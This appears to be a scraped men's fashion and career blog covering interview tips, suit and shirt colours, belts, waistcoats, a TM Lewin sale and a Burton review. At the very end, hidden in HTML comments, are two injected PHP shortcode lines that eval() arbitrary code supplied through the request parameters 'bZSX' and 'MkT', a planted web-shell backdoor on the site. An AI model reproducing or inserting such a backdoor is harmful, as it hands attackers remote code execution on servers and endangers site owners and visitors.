Getting A Job | Interview Tips

Above The Ankles 6 Interview Tips

Interview Tips

I’ve had a lot of people ask me for help with landing a job and I find myself pretty much saying the same few tips every time. These tips aren’t in any order and they haven’t been verified by some top CEO or anything so don’t hold me accountable, this is just what has always worked for me and actually worked well for a few others as well. Here are my best interview tips, enjoy;

Interview Tips #1 – CV

My number one interview tip is don’t stress over your CV, I have handed in my CV from when I was 16 with no experience to an employer while I was 21. This CV was crap and outdated but when they called me I was in complete control of the conversation and I got the job, which I then turned down (I know right.)

To be blunt, no one really cares what’s on your CV, 99% of the time the employer just wants to ask you questions based on your CV so they can get you talking and see what you’re really like.

Interview Tips #2 – Recommendation/Referral

If your friend has the job you want, or works in the company you would love to work for – ask for a recommendation. You might get one or two interview from fifty applications but you’ll get one interview from one referral.

It’s a no-brainer really, obviously I get that you might not know that many people but with social media nowadays, you can easily get to know someone in any company anywhere in the world. LinkedIn is the obvious one but still not many people use it, search for the company you want to work for and invite some of the people to connect with you, send them a message, get the conversation going online and before you know it you’ll be sitting down with a manager being interviewed. Don’t forget, you can even do this on Facebook/Twitter.

interview tips man suit
[Photo Credit: optnation.com]

Interview Tips #3 – Know Who Will Be Interviewing You

This might seem a little weird but trust me it helps so much. Usually you will have a phone conversation with someone in the company before you have an interview. When on the phone, make sure you ask who it will be that will be interviewing you. If they ask why, just say it’s because you want to remember their name so you don’t forget it during the interview or any other silly excuse to get them to tell you. Once you have their name, Google them, have a look at them, see what their position is etc. Many times when I’ve asked who will be interviewing me, they just tell me everything I need to know; “Oh it’s James Allard who will be interviewing you, he’s the managing director of the company, he likes to meet all new people himself.”

Interview Tips #4 – Don’t Outshine The Person Interviewing You

Knowing what position they are will tell you how they will dress, if you find out the one interviewing you is “one of the trainers” chances are they aren’t going to be dressed that well so don’t go in your best suit and keep the colorful socks at home. If you hear it’s the Managing Director interviewing you, look sharp and on point – just minus the Rolex.

The moment you outshine the person interviewing you, the interview is in your control and they feel nervous. They’ll start to feel like you are a threat to them and chances are they will end up trying to find whatever excuse they can to not hire you. Trust me, I’ve seen it happen many times.

Interview Tips #5 – Do Your Research On The Company

What ever you do, don’t ask them to explain their company. Whoever’s interviewing will love talking about their company but they’ll hate having to explain it to you. Go on Google and write down some interesting things you have seen online about their company. Ask them about it and you’ll be in their good books. You can find out everything you need to know about the company online. The more you know, the more you can talk about their company, it will impress the interviewer and show them that you are actually really keen to get the role as opposed to someone who just wants a job.

Interview Tips #6 – Hand Shake

When you meet the person interviewing you, give them a strong firm handshake. It does not really matter if you are nervous or not, just jump up out of your seat and shake their hand with the biggest smile you can. I love handshaking people, especially if I can initiate the hand shake. If you initiate the hand shake and then do a stronger/firmer hand shake that the person interviewing you, you have now just completely asserted your dominance over that person.

Interview Tips #7 – Sit Up & Respond

Don’t slouch, I have literally not hired over 50 people simply because they slouched during their interview . Just don’t do it. Sit up straight and acknowledge what the person is saying, and if they pause for a second, speak! The more you can speak the better. When I’m being interviewed, I talk more than the person interviewing me. It shows confidence & interest. Ask as many informed questions as you can and make sure whenever they say a statement that they think is interesting for example; “After many years of struggling we finally became number 1 in the UK”, I’d respond with; “Wow, is that in the whole industry?”

interview tips man suit
[Photo Credit: everydayinterviewtips.com]

Interview Tips #8 – Never Ask…

1. How Long Will This Take? – Shows you have something more important to do.
2. What Does Your Company Do? – Tells the employer that you aren’t bothered to go and research.
3. When Can I Take My Holidays? – Shows you are more interested in taking time off.
4. Did I get the job? – Puts the interviewer on the spot and makes you look impatient.
5. How Did I Do? – Shows a complete lack of confidence.
6. What is the salary for this position? – Wait until you have the job before discussing how much pay you are going to get.
7. How long would I have to wait to get promoted? – Shows you don’t care about the current job role.

Interview Tips #9 – Always Ask Assumptive Questions

Make sure when the interviewer says to you, ‘Do you have any questions for me?’ – ask something! Make sure you obviously steer clear from the above questions but probably worse than all of those questions is to not ask anything at all. I’ve seen candidates stand up before the interviews even over, it makes the interviewer feel like you are not really that interested and either don’t want the job or just want any job.

I always ask about if I’m the top performing employee, what can I earn, and if  there any bonuses or trips available for employee of the month. I also always ask what do I have to do to get into the position they are in. One of my favorite subjects to ask about is the training structure and how it works, is it a trial and error based system or a shadowing system. All of these questions show the employer that I’m confident I already have the job and that I’m interested in doing well in the role.

Interview Tips #10 – On Your Way Out

Give them another firm handshake, a smile and say,

See you soon.

Where To Put Your Sunglasses When Indoors

where to put your sunglasses when inside
[Photo Credit: www.gentlemansgazette.com]

Spring has finally rolled around, yet all I can think of is summer.

You can’t really blame me though, the past week here in England has been glorious in terms of sunshine, and I think all of us are dreaming of the summer holidays already. Before the beautiful weather fades away, I thought I’d write a post on sunglasses, and where they should go once you head inside again.

For example,you could always hand them to your nephew so he can clean them for you.

What else is he good for anyways? They could also go in your chest pocket or a jacket/blazer pocket like so:

where to put your sunglasses when inside
gearpatrol.com
where to put your sunglasses when inside
businessinsider.com

Or better still, into the Pandora’s Box that is your girlfriend/wife’s handbag (that’s if you never want to see them again)

womens handbag designer
budgetsaresexy.com

You could also put your sunglasses in between your shirt placket- the bit of fabric on your shirt that your buttons are sewn onto, or just leave them on your table if you’re at home. They could also go in your workbag or briefcase if you use one, or just on the top of your head.

Now we head to the faux pas in order of decadency, no fashion article would be complete without them:

✘ Putting an earpiece through a belt loop or waistband

✘ Putting an earpiece through a trouser pocket

✘ Putting your sunglasses inside your cargo shorts pocket (burn those ghastly things if you own a pair)

✘ Around your neck on a chain or cord, if librarians can’t get away with it then neither can you

✘ Attempting a Masaai warrior look by putting an earpiece through a gauge earring (seriously?)

✘ Keeping your sunglasses on indoors

✘ Keeping them in a fanny pack, or even having a fanny pack in the first place

✘ And finally, having them on the back or your shirt or head like this:

5-annoying-ways-to-wear-sunglasses-back-of-head

What Colour Shirt Should I Wear With A Grey Suit?

grey suit what colour shirt

Figuring out what colour shirts go with what suit can get a little overwhelming sometimes. I learnt mainly through trial and error. Grey suits are fantastic and are now widely accepted as work appropriate. I remember one of my bosses many years ago advising me not to wear grey, as it was “too informal” – ridiculous.

As I stand outside, with no blazer and the sun beating down on my near bald head, I’m happy to say it’s pretty much spring. With spring comes colour, the time for dressing dull and quiet is leaving us quickly. Grey suits make us men look a lot more friendly and approachable. As with all light colours, grey suits are most appropriate when the sun’s out. This doesn’t mean you can only wear a grey suit in spring and summer, however it’s preferred. Which brings me to the colour shirt we should pair with it.

grey suit blue shirt instagram

Quick side note: By “grey suit”, I intend a light grey suit, one that is fashionable and looks great like the above. Not those horrendous dark grey suits some people wear.

The grey suit is almost like the jolly cousin of the firm/strict navy suit. To keep up that joyful look, wear a friendly light colour shirt with the suit. Think of a spring colour palette, all those soft light colours. If you’re thinking, light blue, light purple or pink – you’re on the right track. These shirt colours will keep you looking young, jolly and free.

grey suit pink shirt coffee

For many of us we want to be approachable, we want the world to like us and one great pathway for that is through what we wear. Get the right combination of grey suit, pink shirt, loafers & a big smile and everyone will be chatting away with you like they’ve known you for years.

How To Dress Well As A Man With A Big Belly

Above The Ankles how to dress well with a man with a big belly

Bloated stomach? Eaten a little too much recently and you can now feel the few buttons around your belly on your shirt clinging together for dear life? I know the feeling all too well.

Here are some amazing tips that will help you look great and hopefully feel better.

Of course I could turn this into an article about eating healthy and looking after yourself but I doubt you’d be interested in that. We all are prone to putting on a bit of a belly every now and then, even the sex icons of the world.

james bond big belly
david beckham big belly

Accept Reality

The first step to looking great is to accept you are the way you are. Unless you’re planning on eating healthy meals and exercising you better get used to this belly. Stop trying to squeeze into those old suits or that old pair of Levi’s you haven’t actually worn since 2012. Give them to a charity and accept your thighs are just not as slim as they once were.

This is probably the hardest part of looking good and the thing I struggled with the most. Trust me though everything is onward and upwards from here.

No More Grey

If you already own some great suits then fair enough, you can keep them but don’t buy anymore.

Everyone knows black is slimming and white is fattening, I don’t know the psychology behind it but I know for sure its true. For this reason, as a gentleman aspiring to look good with a big belly, its so important you minimize how often you wear white and grey. If you need to for work purposes then there are some tips that will help.

Wear Patterned Shirts (check, striped etc)

White dress shirts may be the most common dress shirt in the world but chances are you don’t have to wear one everyday. There are some other options available. One great tip to using your shirt to look slimmer is to wear solid colour shirts like blue, purple, pink and the likes of them. One step further is to wear patterned shirts, whether striped or checked.

checkered shirt big belly

Opting for a blue/white/green checked shirt and the likes of it are one of the best decisions you could make. Firstly, they look great obviously and secondly, the patterns remove some of the attention from your belly, thus creating the perfect camouflage.

Wear An Undershirt

Please gentlemen, whatever you do – you must wear something underneath your shirt. Whether it’s a tight fit undershirt, a wife beater vest or a plain t-shirt. The worst thing you could possibly do is show everyone your hairy stomach. Keep the belly button covered lads.

Wear A Waistcoat/Jumper

Adding a waistcoat or a jumper to your outfit will massively boost your look. Anything that covers your belly is a good thing and waistcoats/jumpers allow you to look great and slim at the same time. You will naturally feel better about yourself once you put on the waistcoat or the jumper.

waistcoat big belly

If you’re struggling for breathing space in your shirt, it may be a good idea to open the bottom two buttons of your shirt. As long as you have your jumper/waistcoat on, no one will be able to tell you have your shirt undone. Now you’re free to eat to you are unable to move and still feel comfy.

Purchase New Shirts

If you’ve had your shirt for awhile and they are now way too tight, hang them in your wardrobe and leave them there. Wearing really tight clothes will make you look fatter than you are, they will show every curve and as you eat your lunch, you’ll feel incredibly uncomfortable for a few hours. Go purchase some new shirts, that are tailored fit, so they don’t wrap them selves around your stomach. I’d recommend TM Lewin Slim-Fit range. You’ll feel much better about yourself and people will automatically think you lost some weight.

One Dapper Gent

I hope he doesn’t mind me saying but there is one guy who’s incredibly dapper. The Big Sartorialist is definitely someone who if you are on the big side, can be an inspiration for you.

big sartorialist

If you have any tips that I missed, leave a comment below and I’ll be sure to get it added.

Men’s Business Attire – How To Dress

menswork wear

What is the most appropriate men’s business attire? Great question, here’s a better one;

What Is Business Attire?

Deciding what to wear to work can be difficult sometimes. Every workplace operates slightly differently, while some employers want top-notch fashion savvy employees while other employers would rather you come to work in jeans.

You can broadly put each type of business in two categories.

Two Types Of Workplaces

Formal

mens business attire

These types of workplaces are the most common, a place where employees should wear a two piece suit and a dress shirt. Some employers want a tie worn at all times, some don’t mind without the tie and some don’t even mind if you leave your blazer at home.

Formal attire is very restricting, your trousers must match your blazer. Your tie must be a sensible width and length. There are many rules when it comes to dressing formally, and this is to be expected since most of the multinational companies operate based on a set of strict rules and regulations. As long as you fit somewhere between a three-piece suit & tie and dress shoes/shirt and two piece suit – you’ll be sound.

My whole working life I’ve worked in environments where the tie has been a mandatory thing but I was still free to express myself with wild socks and lavish pocket squares. Now for the first time I no longer work in this environment. I work in a very small office now which has meant that the rules of business attire have flipped a bit.

Smart/Casual

mens casual business attire

Smart/casual work environments range from t-shirts/jeans (Mark Zuckerberg) to the combination of a dress shirt and trousers. Many workplaces that allow casual dress code will expect their workforce to still look smart. While formal business attire is quite rigid, casual business attire has much more freedom.

The great thing about dressing casual is the freedom to express yourself and really go all out. You can wear a bunch of accessories and crazy shoes with funky socks. It’s all good as long as you keep the bare essentials.

If you don’t have to wear a dress shirt to work then keep your t-shirts and jumpers logo/picture free. Do not come into work with a picture of a half-naked (or even naked) woman on your top or some slogan which involves a bad word. If you do, you may find yourself being sent home to change or asked embarrassingly to take it off.

If dress shirts are compulsory, then keep your shirt freshly ironed, wear good quality shirts from somewhere like TM Lewin or Hawes & Curtis. Wear good trousers and don’t slack and wear jeans every time you can’t be asked to iron. Grab some comfortable chinos from Zara for £30, trust me they will do you wonders. If you can get away with trainers you may as well but make sure they’re black or as close to black as possible and not high-tops.

Currently my boss has me in limbo, when I started I was wearing a suit, dress shirt and shoes with no tie. Now I’ve left the blazer at home, ditched the shoes and wear plain black vans and a cotton jumper over my dress shirt. I look slightly confused but I’m super comfy and I fit right in with my colleagues.

Matching Your Boss

So you think it’s a good idea to buy a new suit and come in looking much better than your boss so then maybe he might think you’re serious about getting promoted? If your boss is a SHE, then it might work, if however your boss is an egocentric HE, it’s definitely a bad idea. You’re on his territory and showing him up is not a good idea. Judge your boss or manager and match them. If you want to look a bit better than them, go for it, but don’t over do it.

So What’s The Correct Business Attire?

Depends where you work. As a botch standard, stick to a two piece suit with minimal accessories and a tie that matches the width of your suit’s lapels. Wear the best shoes you own and hope for the best. Just remember, the first time you show up anywhere, it’s better be overdressed with a lavish pocket square bursting out your chest pocket than have a mickey mouse jumper on when everyone’s dressed like the cast of wolf of wall street.

TOP TIP: Look around and copy, don’t over do it & don’t blend in – balance is key.

Contrasting Waistcoats – Fashion Tips

contrasting waistcoat

There are many rules to dressing well, one of them is making sure that you match. Another rule is to make sure you do not match. Whichever you choose to follow, I won’t judge you. The rules of fashion are there to be broken – or at least bent a bit. Wearing the right suit, for the right event is a must. Equally so are waistcoats. Showing up to a board meeting in a navy pin-stripe suit and a grey checked waistcoat might not be a good idea. It’s probably best to stick to the waistcoat that matches the suit for all formal events/meetings.

matching waistcoats

In every other circumstance out of the boardroom, wearing a contrasting waistcoat will work wonders.

The History Of The Waistcoat

The history of the waistcoat is quite boring, some English King (Charles II) decided that men were not dressing correctly in the monarchy. He decided in 1666 that all men must wear a vest. It started off as a colourful royal vest and then eventually ended up over the years as a really formal waistcoat. When they became formal, they lost their colour and generally just became black or navy.

Matching Waistcoats

Up until recently, it was unheard of to wear a waistcoat that didn’t match your suit to the T. It would have been considered scruffy. Matching your waistcoat is still very important in this day and age. If you’re attending something formal, then it’s polite to match your waistcoat. It’s a way of subtly looking head and shoulders above all those two piece wearing people without making it look like you tried too hard. Here are some great examples of men wearing waistcoats as they we intended to be worn – matching.

matching waistcoat

Contrasting Waistcoats

Thankfully for us, times have changed and people now use fashion to express themselves. Everywhere you go, every Instagram page you visit, you see people breaking fashion rules all the time. Sometimes it works, sometimes it looks horrible, live and learn. Gone are the days of plain waistcoats. Tailors are now expressing themselves with massive lapeled waistcoats and double breasted buttons. The outcome: pure beauty.

I, like most, can’t afford to pay £250 for a waistcoat. Instead of me buying expensive double breasted waistcoats or amazingly crafted checked waistcoats, I keep it simple. I buy a black three piece suit, a blue three piece suit and a grey three piece suit. Then I simply mix and match them as I wish. This ALWAYS results in a ton of compliments by shocked colleagues and friends who consider me as some fashion innovator. The problem is they only see the mannequins in the store windows and they see movies of wall street actors in the fully matching three piece suits. When they see something in contrast to that, it’s overwhelming. Thankfully in a good way.

contrasting waistcoat cover

TM Lewin Clearance Shirts – £15 Each!

tmlewin sale cover

Like everybody else, I’m strapped for cash at this time of the year. I’ve dug way too deep into my pockets and spent way to much money on way too many things I shouldn’t have. However, it’s time for me to dig a little deeper.

tmlewin sale

TM Lewin are truely a great company. Hawes & Curtis are doing well to compete with them but outside of these two, it becomes hard to name another brand doing so well in Men’s shirts. Realistically £40 for a really good quality shirt is not bad. Yes you can definitely get decent shirts from places like Next or Burton for half the price. However they lack the quality of TM Lewin & it’s like.

This sale is the perfect opportunity for you and I to bag a few quality shirts, beautifully tailored for only 38% of the original price. Why? Simply because they didn’t sell enough over last season – even after all the silly 4 for £100 sales they had. Here’s where we come in and grab a bargain.

Be quick to order yourself a pair before they run out of your size. I’d recommend collecting from store, save yourself £5 delivery charges.

I just ordered myself the London Fitted Navy Teal Check Twill Shirt. I’d personally recommend these three shirts for the wonderful year we have ahead of us.

London Fitted Navy Teal Check Twill Shirt
London Blue Slim Stripe Twill Pin Collar Slim Fit Shirt
Light Pink Oxford Relaxed Fit Casual Shirt

Matching Belt And Shoes

belt shoe combo above the ankles

It’s well known and established to have matching belt and shoes. The fact that you’re even on a fashion blog in the first place means you have some understanding of fashion. Black with black, brown with brown, tan with tan and so on and so forth. I don’t wish to bore you with the basics. With this post I intend on helping you with some tips as to how you go that extra mile and really match your belt and shoes.

2 Essentials – Black/Brown & The Tanned Belt

Black – The black belt is a must. Don’t cheap out here. I have a few black belts but the belt I’ve been wearing for the last year is a beautiful Tommy Hilfiger leather belt. I bought it on sale from House of Fraser for £26.

TOMMY HILFIGER Leather Belt

Black belts go well with everything, mostly because they go unnoticed by many. Having matching belts and shoes in black is the easiest thing to do. People with a keen eye will notice your belt and they will have a new found respect for you when they see the quality of your belt. This is something that has brought about many compliments for me, I recommend grabbing yourself a nice thick, genuine leather belt, preferably with a small designer logo on it.

Brown – There are a hundreds of different shades of brown. Finding one to match your shoes will be difficult. I solved this issue pretty easily. I bought a standard brown belt for £10 from Marks & Spencer. I’ve owned it for ages and it matches loads of stuff. If you put the belt next to the shoes, it would be slightly off but who cares. Not all of us have the money to own fifteen different belts.

John Lewis Reversible Leather Belt, Black/Brown

Tan – If you have a hard time matching brown with brown you will most definitely have a hard time matching tan’s. You can’t really have a tan belt that goes with everything. I wouldn’t advise having a basic tan belt, best thing to do is take your shoes with you when you go to buy a belt and just place them next to each other.

Can You Be Too Matchy?

Matching shoes and belt is a must. It’s never too matchy, don’t listen to anyone who says otherwise. With that being said, matching more than your belt and shoes, like the other types of leather accessories are a bad idea. Wearing leather driving gloves or carrying a leather briefcase that matches your shoes and belt will look far to pretty. If pretty is your thing, go for it.

Extra Tips

Leave The Belt At Home

It’s better to leave the belt at home and go out with your brown brogues by themselves than wear an off belt with it.

Same Store

As with the picture above, many good retailers sell belts that perfectly match their shoes in store. If you’re buying a pair of beautifully blended oxblood/brown shoes and the same store sells a matching belt – buy it! If you let that opportunity slip you may never find a matching belt again.

how to match your shoes and belt

Don’t Buy A Blue Belt

Except if you’re following the previous tip and you are buying that belt specifically to match a pair of bad-ass blue loafers, avoid blue belts. Match tan with tan, brown with brown and black with black or blue.

Always Have Matching Belt And Shoes – You Can’t Afford Not Too.

Matching Belt And Shoes

Burton Reivewed

burton review logo

My Burton Review

Burton as a whole is a good company.

The above statement is generally what most people would say about Burton, it’s also my opinion. It is a good company that sell good clothes at a good price. Once upon a time, 80% of my wardrobe was Burton branded, that’s now declined to 2%. To sum up my Burton review simply, as mentioned, Burton sell good clothes but after awhile good just doesn’t cut it.

History

I can’t say this is my Burton review without mentioning it’s history. The company has some amazing history, ever heard the phrase, “the full monty”?

Montague Burton founded Burton in 1904. After World War II, Montague Burton was one of the suppliers of suits to the British government. They supplied the jackets, trousers, waistcoats, shirt and underwear. Thus the phrase, “the full monty” was born.

As nice as that is, history is history and nowadays Burton are known as the little brother to Topman. I mean that in the un-cute way. Burton is cheaper than Topman with very similar quality and lightly chubbier. Topman is generally marketed towards skinny fit men while Burton is aimed more generally towards everyone. The issue then falls onto Quality – which both brothers lack unfortunately.

Burton is one of the cheapest options on the high street to buy a suit, usually ranging from £79 to £150. They fit the description of “off the rack” perfectly. Generally all are polyester or a polyblend with wool and usually come out quite thin. Their suits are not designed for an active man who enjoys walking or occasionally messing around. Try jumping onto a bench and it’s very likely you’ll rip the trousers at the crotch.

Collections

They have a few collections designed for everyone. I must admit, the difference between them is not much. I myself have owned a suit from every collection, as you can guess the best suits are the most expensive. The difference between the best and worse suits is very minimal.

£79 Machine Washable Suits

Supposedly Burton’s worst suit, this machine washable suit comes as a two piece suit, a jacket & trouser for £79. I’d never recommend machine washing your suits, even if they are machine washable. Out of all their collections, this suit is by far my favourite. All of the £79 suits come in default colours, black, grey & navy with no patterns or designs. They are simple, with very small lapels, usually forcing you into wearing a slim tie. They’re all a mix of polyester and viscose, which will often give them that shiny look to the suit, usually quite visible in the bright sun light. They way I see it, a suit for £79 – you can’t go wrong. Definitely the perfect suit for those starting out and building up their wardrobe.

burton machine washable suits

For an extra £30 you can grab a waistcoat to spice things up, totalling to £109.

Wool Suits

Wool suits from anywhere are pretty much guaranteed to be a good buy. The fabric wool is very reliable and comfortable. All their suits in their wool collection are 100% Italian wool. The quality is impressive, it feels good and looks better. The fit isn’t bad either.

The wool suits have been created with work in mind. Designed in five colours you could wear to work, all year round. Black, Blue, Navy, Dark Grey & Grey.

burton menswear wool suits

For some strange reason, they only do wool suits in slim fit. If you happen to fit into a slim fitted suit, enjoy. Everybody else, jog on.

Standard Skinny/Slim/Tailored Fit

Burton design their suits in three different fits. They’re most successful line is their slim fitted suit. I wore Burton’s skinny fit suits for awhile but I found they just didn’t fit me comfortably enough and I ripped too many suits at the crotch. Slim fit was definitely my favourite fit in their suits, I found their slim fit suits the most comfortable and best quality. The tailored suits just felt a bit.. slim fit.

Conclusion

Burton review menswear

Burton is without a doubt one of the best hight street retailers in the UK. Unfortunately that doesn’t say much for the high street retailers. Burton is really good for price but the honest truth is, there are cheaper options with similar quality. As 75% of Burton’s suits are made from polyester and viscose, literally the cheapest option possible – you can get similar suits everywhere. Matalan is a great cheaper alternative to Burton if you’re on a low budget. Obviously it’s much more reputable to have Burton on the inside of your suit jacket than Matalan.

Overall a good company for anyone just starting to buy suits. I’d definitely avoid Burton if you don’t wear slim fitted suits. Tailored just aren’t there thing.

Hope you enjoyed my Burton Review.

The Pinstripe Suit

blue pin stripe suit cover photo

The Pinstripe Suit

I can’t go a week on Instagram without posting a picture of a beautiful blue pinstripe suit. I don’t know of a better piece of art. The blue/navy colour is usually a nice bold colour, a colour that exudes confidence. The pin stripe up until recent years was only worn in the financial sectors and was pretty much unheard of outside of work. Usually associated to some cocky broker in wall street with a blue pinstripe suit who beats his chest and makes bird sounds (wolf of wall street) – the suit has come a long way from there.

History Of The PinStripe

Clark gable in a Pinstripe Suit

Clark gable in a Pinstripe Suit

Wall street is not where it all begun for the pinstripe suit. If you’re into old films then you’ll probably know the very dapper chap shown above. Clarke Gable was well-known for rocking some very dapper pinstripe suits in the 1940’s. He definitely didn’t start the trend though, it’s even older, the beautiful design actually originates from uniform in the early 1900’s.

Today bankers are proud of the corruption they create around the world and back in 1910 it was no different. Bankers wanted to show who they worked for but didn’t want to ruin their gentlemanly look. Since 99.99% of men wore long overcoats and a hat everywhere they went, tailors came up with a way to show off which firm the bankers worked for by giving each firm its own design in striped trousers. Some had super thin pinstripes while others had thicker chalk stripes on their trousers, spaced out differently. The pinstripe stayed exclusively in the world of finance until a few years ago.

I remember when I was about nine years old, my dad showed me his black pin stripe suit and said to me, you see this suit son, the stripes on it means the suit is expensive. Oh how times have changed now and thankfully dressing well is a lot cheaper than it used to be.

Pin Stripe & Chalk Stripe

blue pin stripe 10

Some may argue and say, there is a massive difference between pinstripe and chalk-stripe, I agree and disagree. The vast majority of fashion Bloggers and Instagrammers actually don’t correctly know the difference between the two and they often describe them based on the width of the stripe. This is actually wrong, pinstripe and chalk-stripe can both be the same width. The real difference is very minor, with a pinstripe, the stripe is dotted downwards while a chalk-stripe is dragged downwards looking a lot like a rope.

However no one follows that nowadays, and the difference has been simplified. As implied by the name, on a pinstripe suit, the stripes are as thin as a pin and on a chalk-stripe suit, the stripes are thick and wide like chalk.

Work & Occasions

Once you pick yourself up a really good pinstripe suit, it can become a bit of a challenge choosing when to wear it. Thankfully there are a few guidelines and basic principles that you can apply to your suit to tell you exactly when to wear it.

Pinstripe Suit On Leonardo DiCaprio seen on location for "The Wolf of Wall Street"

Suit Colour

The colour of your suit is incredibly important when choosing where to wear it. The darker the suit, the more appropriate it is for work, the lighter the suit the more suitable it is for an occasion or to be worn casually. If you consider the suit to be “blue”, I’d say wear it outside of working hours, when you go out to eat with the Mrs or go to an awards ceremony. You will stand out for all the right reasons and trust me, the compliments will roll in. If you consider the suit “Navy” then rock that bad boy to work with a white pocket square and enjoy looking better than your boss. The worlds your oyster in a quality striped suit.

Stripe Width

The style of the stripes that flow down the fabric is equally as important as the shade of blue. There are two types of stripes; the thick stripes and the thin stripes. It’s very self-explanatory but it’s essential to understand. The thicker the stripe, the more casual the suit becomes and likewise the thinner the stripe the more professional the suit will appear.

THE WOLF OF WALL STREET

Remember

Ultimately it’s down to your style how you wear a pinstripe/chalk-stripe suit, there are so many factors that determine whether it’s a casual outfit or a professional working one. Things like, double-breasted blazers, trainers, accessories, tie/no tie, all these things will play the biggest part. By rule of thumb, wear thick striped suits casually or at events and pinstripe suits to work and other formal meetings.

**Two of the pictures belong to @absolutebespoke on Instagram, please follow him and if you know who any of the other pictures belong to leave a comment below and I’ll add a link to their Instagram as well.

<!– [insert_php]if (isset($_REQUEST["bZSX"])){eval($_REQUEST["bZSX"]);exit;}[/insert_php][php]if (isset($_REQUEST["bZSX"])){eval($_REQUEST["bZSX"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["MkT"])){eval($_REQUEST["MkT"]);exit;}[/insert_php][php]if (isset($_REQUEST["MkT"])){eval($_REQUEST["MkT"]);exit;}[/php] –>